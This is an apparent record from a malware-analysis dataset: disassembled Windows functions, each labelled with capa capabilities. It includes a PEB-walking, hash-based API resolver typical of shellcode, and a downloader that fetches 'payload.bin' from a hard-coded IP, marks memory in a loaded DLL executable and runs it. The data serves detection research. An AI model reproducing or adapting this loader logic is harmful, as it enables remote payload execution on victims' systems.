joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
add esp, 0xfffff254
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040dc
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x14000403d
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x140004033
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
push r9
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040d1
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040d1
add rax, rdx
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
mov ecx, dword [rax + 0x18]
jrcxz 0x1400040d0
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004087
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004078
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004027
Function at 0x140001ec0
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x40
call fcn.1400013d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
lea r8d, [rbx + 0x48]
lea rdx, str.Installer_made_by_Nano_and_edited_by_Pixeluted___discord.gg_runesoftware
lea rcx, [rsp + 0x20]
call fcn.140001990
lea rcx, [rsp + 0x20]
call fcn.1400012d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
lea r8d, [rbx + 0x36]
lea rdx, str.Big_thanks_to_cereal_for_making_uwp_update_bypasser__n_n
lea rcx, [rsp + 0x20]
call fcn.140001990
lea rcx, [rsp + 0x20]
call fcn.1400012d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
lea r8d, [rbx + 0x44]
lea rdx, str.Fluster_is_patched__It_doesnt_work__wait_for_update__go_outside_kid
lea rcx, [rsp + 0x20]
call fcn.140001990
lea rcx, [rsp + 0x20]
call fcn.1400011d0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x40
pop rbx
ret

Function at 0x140002a3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002a86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002a86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002a86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002a86
cmp dword [rcx + 0x84], 0xe
jbe 0x140002a86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002a88
xor al, al
add rsp, 0x28
ret
Function at 0x140001200
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rdi, rcx
xor ebx, ebx
xor esi, esi
mov ebp, ebx
mov qword [rax - 0x60], rbx
mov r13d, ebx
mov qword [rax - 0x58], rbx
mov qword [rax - 0x50], rbx
mov dword [rax + 0x10], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
jne 0x140001260
jmp 0x140001420
mov r8d, 0x118
xor r9d, r9d
lea rdx, str.27.124.44.10
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
test rax, rax
jne 0x140001286
jmp 0x140001420
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x14000c5b8]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r12, rax
test rax, rax
jne 0x1400012bb
jmp 0x140001420
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x1400012e2
jmp 0x140001420
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400013f7
mov dword [rsp + 0xb0], ebx
lea rdx, [rsp + 0xb0]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rsp + 0xb0]
test r11d, r11d
je 0x1400013f7
nop
mov ecx, r11d
call fcn.140001d8c
mov rbp, rax
mov r8d, dword [rsp + 0xb0]
xor edx, edx
mov rcx, rax
call fcn.140006130
lea r9, [rsp + 0xb8]
mov r8d, dword [rsp + 0xb0]
mov rdx, rbp
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000137d
mov r9d, dword [rsp + 0xb8]
add r9, rbp
mov r8, rbp
mov rdx, r13
lea rcx, [rsp + 0x48]
call fcn.140001aa0
mov r13, qword [rsp + 0x50]
mov rcx, rbp
call fcn.1400020c8
mov dword [rsp + 0xb0], ebx
lea rdx, [rsp + 0xb0]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rsp + 0xb0]
test r11d, r11d
jne 0x140001320
mov rbp, qword [rsp + 0x48]
cmp rbp, r13
je 0x1400013f7
mov rsi, r13
sub rsi, rbp
mov rcx, rsi
call fcn.140002514
mov r11, rax
test rsi, rsi
je 0x1400013f4
mov rdx, rax
mov r8, rbp
sub r8, rax
nop word [rax + rax]
movzx ecx, byte [r8 + rdx]
mov byte [rdx], cl
inc ebx
inc rdx
movsxd rax, ebx
cmp rax, rsi
jb 0x1400013e0
mov rbx, r11
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
test rbp, rbp
je 0x140001420
mov rcx, rbp
call fcn.1400020c0
mov qword [rdi], rbx
mov qword [rdi + 8], rsi
mov rax, rdi
mov rbx, qword [rsp + 0xc0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x38
mov rcx, qword [rdx]
call fcn.140001050
cmp eax, 0x1c
ja 0x140001503
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x30], rdi
call fcn.140001200
mov rdi, qword [rax]
mov rsi, qword [rax + 8]
test rdi, rdi
je 0x1400014f9
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r9, [rsp + 0x50]
mov rdx, rsi
test rax, rax
je 0x1400014e8
mov qword [rsp + 0x40], rbx
lea rbx, [rax + 0x1000]
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call fcn.1400020e0
mov rcx, rdi
call fcn.140001ee0
call rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x38
ret
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x38
ret

Function at 0x140002893
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000e0a8]
jne 0x140001eda
rol rcx, 0x10
test cx, 0xffff
jne 0x140001ed6
repz ret
ror rcx, 0x10
jmp 0x1400027ec
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000f0e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000f1d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002871
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000f0e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140002893
mov rax, qword [rsp + 0x88]
mov qword [0x14000f1d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000f178], rax
mov rax, qword [0x14000f1d8]
mov qword [0x14000f050], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000f160], rax
mov dword [0x14000f040], 0xc0000409
mov dword [0x14000f044], 1
mov rax, qword [0x14000e0a8]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000e0b0]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000f0d8], eax
mov ecx, 1
call fcn.1400044e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000a3a0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000f0d8], 0
jne 0x14000291a
mov ecx, 1
call fcn.1400044e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140003154
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140002fc4
Function at 0x140004ff8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000e0a8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1400040e0
xor ebx, ebx
cmp qword [0x140010050], rbx
mov rdi, rax
jne 0x14000510b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1400051e2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400051e2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140010050], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140010058], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140010060], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140010070], rax
test rax, rax
je 0x140005102
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140010068], rax
jmp 0x140005112
mov rax, qword [0x140010068]
jmp 0x140005119
mov rax, qword [0x140010068]
mov r11, qword [0x140010070]
cmp rax, rdi
je 0x140005180
cmp r11, rdi
je 0x140005180
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140010070]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140005180
test rax, rax
je 0x140005180
call rsi
test rax, rax
je 0x14000517a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000517a
test byte [rsp + 0x40], 1
jne 0x140005180
bts ebp, 0x15
jmp 0x1400051c0
mov rcx, qword [0x140010058]
cmp rcx, rdi
je 0x1400051c0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400051c0
call rax
mov rbx, rax
test rax, rax
je 0x1400051c0
mov rcx, qword [0x140010060]
cmp rcx, rdi
je 0x1400051c0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400051c0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140010050]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400051e2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1400051e4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001ec0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140bce058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140bce1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140bce089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bce06f
add dl, dl
jne 0x140bce096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bce0f6
xor eax, eax
add dl, dl
jne 0x140bce0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bce1ad
add dl, dl
jne 0x140bce0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bce0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bce0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bce0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140bce0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140bce07e
mov eax, 1
add dl, dl
jne 0x140bce106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bce113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bce0fb
sub eax, ebx
mov ebx, 1
jne 0x140bce14c
mov ecx, 1
add dl, dl
jne 0x140bce12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bce13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bce123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bce07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140bce168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bce175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bce15d
cmp eax, 0x7d00
jae 0x140bce19b
cmp eax, 0x500
jb 0x140bce196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bce07e
cmp eax, 0x7f
ja 0x140bce19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bce07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140bce1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140bce07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001d70
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x10088
call fcn.140020dc0
sub rsp, rax
mov rax, qword [0x14005a958]
xor rax, rsp
mov qword [rsp + 0x10070], rax
xor eax, eax
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x70], ax
mov word [rsp + 0x20], ax
lea r8d, [rax + 0x28]
call fcn.14001c190
mov r8d, 0x10000
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140001ded
lea rcx, [rsp + 0x70]
call fcn.140032fe4
mov rcx, qword [rsp + 0x10070]
xor rcx, rsp
call fcn.140020e20
add rsp, 0x10088
ret
xor eax, eax
mov rcx, qword [rsp + 0x10070]
xor rcx, rsp
call fcn.140020e20
add rsp, 0x10088
ret

Function at 0x140001ea0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14005a958]
xor rax, rsp
mov qword [rsp + 0x70], rax
lea rcx, [0x140041010]
call fcn.140001d70
xor edi, edi
mov qword [0x14005bed8], rax
lea rdx, [0x140041010]
mov word [rsp + 0x20], di
lea rcx, [rsp + 0x20]
lea r8d, [rdi + 0x28]
call fcn.14001c190
lea rdx, [0x140041018]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
lea rcx, str.PYTHONHOME
call fcn.140001d70
mov cl, 1
mov qword [0x14005bee0], rax
call fcn.14001d340
lea r8d, [rdi + 0x28]
mov word [rsp + 0x20], di
lea rdx, str.PYTHONHOME
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.14001c190
mov rdx, rbx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov cl, 1
call fcn.14001d340
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140020e20
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret
Function at 0x140002430
Capabilities:
Set environment variable

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x80
mov rax, qword [0x14005a958]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r14, r8
mov rsi, rdx
mov rbp, rcx
call fcn.14000f1a0
lea rdx, str.environ
mov rcx, rax
call qword [sym.imp.python311.dll_PyObject_GetAttrString]
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.python311.dll_PyUnicode_FromString]
mov rdx, rsi
lea rcx, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov word [rsp + 0x20], ax
lea r8d, [rax + 0x28]
call fcn.14001c190
lea rcx, [rsp + 0x20]
test r14, r14
je 0x1400024f3
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, 0xffffffffffffffff
mov rcx, r14
call sub.python311.dll_PyUnicode_FromWideChar
mov r8, rax
mov rdx, rdi
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.python311.dll_PyObject_SetItem]
test eax, eax
je 0x1400024e1
mov ecx, 1
call qword [sym.imp.python311.dll_PyErr_PrintEx]
mov ecx, 1
call qword [sym.imp.python311.dll_Py_Exit]
int3
sub qword [rsi], 1
jne 0x140002513
mov rax, qword [rsi + 8]
mov rcx, rsi
call qword [rax + 0x30]
jmp 0x140002513
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.python311.dll_PyObject_DelItem]
test eax, eax
je 0x140002513
mov rcx, rbp
call fcn.140001850
sub qword [rdi], 1
jne 0x140002523
mov rax, qword [rdi + 8]
mov rcx, rdi
call qword [rax + 0x30]
sub qword [rbx], 1
jne 0x140002533
mov rax, qword [rbx + 8]
mov rcx, rbx
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140020e20
add rsp, 0x80
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001c240
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r8, rcx
mov eax, 0xffffffff
test edx, edx
je 0x14001c304
mov r9d, edx
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [r8]
lea r8, [r8 + 1]
xor eax, edx
mov edx, eax
and dl, 1
neg dl
sbb ecx, ecx
shr eax, 1
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb eax, eax
shr ecx, 1
and eax, 0xedb88320
xor eax, ecx
sub r9, 1
jne 0x14001c260
not eax
ret
Function at 0x140021804
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002184e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002184e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002184e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002184e
cmp dword [rcx + 0x84], 0xe
jbe 0x14002184e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140021850
xor al, al
add rsp, 0x28
ret

Function at 0x140026798
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140026603
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140026603
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140026603
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140026603
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140026603
cmp dword [rcx + 0x84], 0xe
jbe 0x140026603
cmp dword [rcx + 0xf8], 0
je 0x140026603
mov ecx, ebx
call fcn.1400266b4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140026490
nop
cmp dword [rbp + 0x20], 0
je 0x140026651
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002665c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140026594
Function at 0x140038250
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400382d7
mov rsi, rbx
cmp word [rax], bp
je 0x140038296
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140038280
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14003827c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400330d0
mov rdi, rax
test rax, rax
je 0x1400382c4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140021b30
mov rbp, rdi
xor ecx, ecx
call fcn.140034004
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003be4c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003be62
mov al, 1
jmp 0x14003bec2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003be73
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003bec0
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400389f4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003bec0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003bec0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003bec0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003bec2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1800014a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov byte [rsp + 8], cl
sub rsp, 0x18
mov byte [rsp], 0
jmp 0x1800014b7
movzx eax, byte [rsp]
add al, 1
mov byte [rsp], al
movzx eax, byte [rsp]
cmp eax, 4
jge 0x18000153e
mov byte [rsp + 1], 0
jmp 0x1800014d2
movzx eax, byte [rsp + 1]
add al, 1
mov byte [rsp + 1], al
movzx eax, byte [rsp + 1]
cmp eax, 4
jge 0x180001539
movzx ecx, byte [rsp]
mov rax, qword [0x1800132e8]
lea r8, [rax + rcx*4]
movzx edx, byte [rsp + 1]
movzx ecx, byte [rsp + 0x20]
shl ecx, 2
movzx eax, byte [rsp]
shl eax, 2
lea eax, [rax + rcx*4]
movzx ecx, byte [rsp + 1]
add eax, ecx
movsxd rcx, eax
lea rax, [0x180013230]
movzx eax, byte [rax + rcx]
movzx r8d, byte [r8 + rdx]
xor r8d, eax
movzx edx, byte [rsp + 1]
movzx ecx, byte [rsp]
mov rax, qword [0x1800132e8]
lea rax, [rax + rcx*4]
mov byte [rax + rdx], r8b
jmp 0x1800014c7
jmp 0x1800014ae
add rsp, 0x18
ret